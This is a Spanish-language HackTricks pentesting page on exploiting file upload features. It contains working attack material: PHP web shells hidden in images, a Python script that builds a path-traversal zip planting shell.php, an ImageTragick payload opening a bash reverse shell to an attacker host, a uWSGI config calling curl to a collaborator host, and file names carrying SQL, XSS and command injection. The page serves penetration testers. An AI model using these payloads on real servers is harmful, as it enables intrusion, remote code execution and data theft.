hacktricks/pentesting-web/file-upload/README.md

# Subida de Archivos

<details>

<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.

</details>

![](<../../.gitbook/assets/image (638) (3).png>)

**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una **plataforma premium de recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!

{% embed url="https://go.intigriti.com/hacktricks" %}

## Metodología General de Subida de Archivos

Otras extensiones útiles:

* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **Trabajando en PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Servidor Web Erlang Yaws**: _.yaws_

### Saltar comprobaciones de extensiones de archivos

1. Si se aplican, **verifica** las **extensiones anteriores**. También pruébalas usando algunas letras en **mayúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Verifica **agregando una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
* _archivo.png.php_
* _archivo.png.Php5_
3. Intenta agregar **caracteres especiales al final**. Puedes usar Burp para **bruteforce** todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones previamente** mencionadas_)
* _archivo.php%20_
* _archivo.php%0a_
* _archivo.php%00_
* _archivo.php%0d%0a_
* _archivo.php/_
* _archivo.php.\\_
* _archivo._
* _archivo.php...._
* _archivo.pHp5...._
4. Intenta saltar las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **agregar datos basura** (bytes **nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload mejor._
* _archivo.png.php_
* _archivo.png.pHp5_
* _archivo.php#.png_
* _archivo.php%00.png_
* _archivo.php\x00.png_
* _archivo.php%0a.png_
* _archivo.php%0d%0a.png_
* _archivo.phpJunk123png_
5. Agrega **otra capa de extensiones** a la verificación anterior:
* _archivo.png.jpg.php_
* _archivo.php%00.png%00.jpg_
6. Intenta colocar la **extensión de ejecución antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con la extensión\*\* _**.php**_**, pero** no necesariamente terminando en .php\*\* ejecutará código):
* _ej: archivo.php.png_
7. Usando **flujos de datos alternativos NTFS (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, "archivo.asax:.jpg"). Este archivo podría editarse más tarde utilizando otras técnicas como usar su nombre corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para saltar más restricciones (por ejemplo, “archivo.asp::$data.”)
8. Intenta romper los límites del nombre de archivo. La extensión válida se corta y queda el PHP malicioso. AAA<--SNIP-->AAA.php

```
# Máximo de 255 bytes en Linux
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png
# Sube el archivo y verifica la respuesta para ver cuántos caracteres permite. Digamos que 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Crea el payload
AAA<--SNIP 232 A-->AAA.php.png
```

### Saltar Content-Type, Número Mágico, Compresión y Redimensionamiento

* Salta las comprobaciones de **Content-Type** configurando el **valor** del **encabezado Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
1. **Lista de Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Salta la comprobación de **número mágico** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introduce el shell dentro de los **metadatos**:\
`exiftool -Comment="<?php echo 'Comando:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` o también podrías **introducir el payload directamente** en una imagen:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Si se está **agregando compresión a tu imagen**, por ejemplo usando algunas bibliotecas PHP estándar como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar el **chunk PLTE** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* La página web también podría estar **redimensionando** la **imagen**, utilizando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar el **chunk IDAT** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Otra técnica para crear un payload que **sobreviva a un redimensionamiento de imagen**, utilizando la función PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **chunk tEXt** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)

### Otros Trucos para Verificar

* Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
* Encuentra una vulnerabilidad de **Inclusión Local de Archivos** para ejecutar la puerta trasera.
* **Posible divulgación de información**:
1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
3. Subir un archivo con **“.”, “..”, o “…” como nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio “/www/uploads/”, el nombre de archivo “.” creará un archivo llamado “uploads” en el directorio “/www/”.
4. Sube un archivo que no se pueda eliminar fácilmente como **“…:.jpg”** en **NTFS**. (Windows)
5. Sube un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
6. Sube un archivo en **Windows** usando **nombres reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 y LPT9.
* También intenta **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** al abrirlo accidentalmente por la víctima.

### Trucos especiales de extensiones

Si estás intentando subir archivos a un servidor **PHP**, [echa un vistazo al truco **.htaccess** para ejecutar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Si estás intentando subir archivos a un servidor **ASP**, [echa un vistazo al truco **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).

Los archivos `.phar` son como los archivos `.jar` para Java, pero para PHP, y pueden ser **usados como un archivo PHP** (ejecutándolo con PHP, o incluyéndolo dentro de un script...)

La extensión `.inc` a veces se usa para archivos PHP que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido **ejecutar esta extensión**.

## **RCE de Jetty**

Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque **los nuevos \*.xml y \*.war se procesan automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Entonces, como se menciona en la siguiente imagen, ¡sube el archivo XML a `$JETTY_BASE/webapps/` y espera la shell!

![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)

## **RCE de uWSGI**

Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: [Explotación de RCE de uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).

Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores y operadores. Notablemente, el operador '@', utilizado como `@(nombre de archivo)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas admitidos en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos desde la salida estándar de un proceso. Esta característica puede ser manipulada con fines maliciosos como la Ejecución Remota de Comandos o la Escritura/Lectura Arbitraria de Archivos cuando se procesa un archivo de configuración `.ini`.

Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, que muestra varios esquemas:
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
La ejecución de la carga útil ocurre durante el análisis del archivo de configuración. Para que la configuración se active y se analice, el proceso uWSGI debe reiniciarse (potencialmente después de un fallo o debido a un ataque de denegación de servicio) o el archivo debe configurarse para recargar automáticamente. La función de recarga automática, si está habilitada, recarga el archivo en intervalos especificados al detectar cambios.

Es crucial entender la naturaleza laxa del análisis de archivos de configuración de uWSGI. Específicamente, la carga útil discutida puede ser insertada en un archivo binario (como una imagen o PDF), ampliando aún más el alcance de la posible explotación.

## **Truco de Subida de Archivos/SSRF con wget**

En algunas ocasiones, puede descubrir que un servidor está utilizando **`wget`** para **descargar archivos** y puede **indicar** la **URL**. En estos casos, es posible que el código esté verificando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se descarguen archivos permitidos. Sin embargo, **esta verificación puede ser eludida**.\
La **longitud máxima** de un **nombre de archivo** en **Linux** es de **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puede **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **burlará** la **verificación** (como en este ejemplo **".gif"** es una extensión **válida**) pero `wget` renombrará el archivo a **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```

```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Ten en cuenta que **otra opción** que puedes estar considerando para evadir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial evadirá la verificación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.


## Herramientas

* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) es una herramienta poderosa diseñada para ayudar a Pentesters y Cazadores de Bugs en probar los mecanismos de carga de archivos. Aprovecha varias técnicas de recompensa por errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.

## Desde la carga de archivos a otras vulnerabilidades

* Establece el **nombre de archivo** como `../../../tmp/lol.png` e intenta lograr una **travesía de directorios**
* Establece el **nombre de archivo** como `sleep(10)-- -.jpg` y podrías lograr una **inyección SQL**
* Establece el **nombre de archivo** como `<svg onload=alert(document.domain)>` para lograr un XSS
* Establece el **nombre de archivo** como `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md))
* [**XSS** en carga de archivos de imagen (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Carga de archivo **JS** + **XSS** = [Explotación de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE en carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Redirección abierta** al cargar archivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Prueba con **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Famosa vulnerabilidad de **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Si puedes **indicar al servidor web que capture una imagen desde una URL** podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL desde [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
* [**XXE y CORS** evasión con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puedes cargar PDFs, podrías preparar algún PDF que ejecute JS arbitrario siguiendo las indicaciones proporcionadas.
* Carga el \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenido para verificar si el servidor tiene algún **antivirus**
* Verifica si hay algún **límite de tamaño** al cargar archivos

Aquí tienes una lista de las 10 principales cosas que puedes lograr al cargar archivos (de [aquí](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):

1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: XSS almacenado / SSRF / XXE
3. **GIF**: XSS almacenado / SSRF
4. **CSV**: Inyección CSV
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : Inyección HTML / XSS / Redirección abierta
8. **PNG / JPEG**: Ataque de inundación de píxeles (DoS)
9. **ZIP**: RCE a través de LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE

#### Extensión de Burp

{% embed url="https://github.com/portswigger/upload-scanner" %}

## Bytes de Encabezado Mágico

* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`

Consulta [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para otros tipos de archivos.

### Carga automática de Archivos Zip/Tar descomprimidos

Si puedes cargar un ZIP que se va a descomprimir dentro del servidor, puedes hacer 2 cosas:

#### Enlace simbólico

Carga un enlace que contenga enlaces simbólicos a otros archivos, luego, accediendo a los archivos descomprimidos accederás a los archivos enlazados:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Descomprimir en diferentes carpetas

La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de travesía de directorios del formato de archivo ZIP pueden ser explotados. Esto permite a los atacantes evadir restricciones y escapar de directorios de carga segura manipulando la funcionalidad de descompresión de la aplicación objetivo.

Un exploit automatizado para crear dichos archivos está disponible en [**evilarc en GitHub**](https://github.com/ptoomey3/evilarc). La utilidad se puede utilizar de la siguiente manera:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Además, la **treta de enlace simbólico con evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, se debe crear un enlace simbólico a ese archivo en su sistema. Esto garantiza que evilarc no encuentre errores durante su operación.

A continuación se muestra un ejemplo de código Python utilizado para crear un archivo zip malicioso:
```python
#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()
```
**Abuso de compresión para rociado de archivos**

Para más detalles **consulta la publicación original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)


1. **Creación de un Shell en PHP**:
Se escribe código PHP para ejecutar comandos pasados a través de la variable `$_REQUEST`.
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```

2. **Rociado de Archivos y Creación de Archivo Comprimido**:
Se crean múltiples archivos y se ensambla un archivo zip que contiene estos archivos.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```

3. **Modificación con un Editor Hexadecimal o vi**:
Los nombres de los archivos dentro del zip se alteran usando vi o un editor hexadecimal, cambiando "xxA" por "../" para atravesar directorios.
```vi
:set modifiable
:%s/xxA/..\//g
:x!
```


## ImageTragic

Carga este contenido con una extensión de imagen para explotar la vulnerabilidad **(ImageMagick , 7.0.1-1)**
(desde el [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Incrustación de Shell PHP en PNG

Incrustar un shell PHP en el chunk IDAT de un archivo PNG puede evadir efectivamente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que comúnmente se utilizan para redimensionar y remuestrear imágenes, respectivamente. La capacidad del shell PHP incrustado de permanecer sin cambios por estas operaciones es una ventaja significativa para ciertos casos de uso.

Una exploración detallada de esta técnica, incluyendo su metodología y posibles aplicaciones, se proporciona en el siguiente artículo: ["Codificación de Web Shells en chunks IDAT de PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión integral del proceso y sus implicaciones.

Más información en: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)

## Archivos Políglotos

Los archivos políglotos sirven como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como un GIF como un archivo RAR. Estos archivos no se limitan a esta combinación; combinaciones como GIF y JS o PPT y JS también son factibles.

La utilidad principal de los archivos políglotos radica en su capacidad para evadir medidas de seguridad que examinan archivos según su tipo. La práctica común en varias aplicaciones implica permitir solo ciertos tipos de archivos para cargar, como JPEG, GIF o DOC, para mitigar el riesgo planteado por formatos potencialmente dañinos (por ejemplo, archivos JS, PHP o Phar). Sin embargo, un polígloto, al cumplir con los criterios estructurales de múltiples tipos de archivo, puede evadir estas restricciones sigilosamente.

A pesar de su adaptabilidad, los políglotos encuentran limitaciones. Por ejemplo, aunque un polígloto pueda encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su carga puede depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto en cuanto a las extensiones permitidas, la mera dualidad estructural de un polígloto puede no ser suficiente para garantizar su carga.

Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

## Referencias

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)


<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Consejo de recompensa por errores**: **regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!

{% embed url="https://go.intigriti.com/hacktricks" %}

<details>

<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>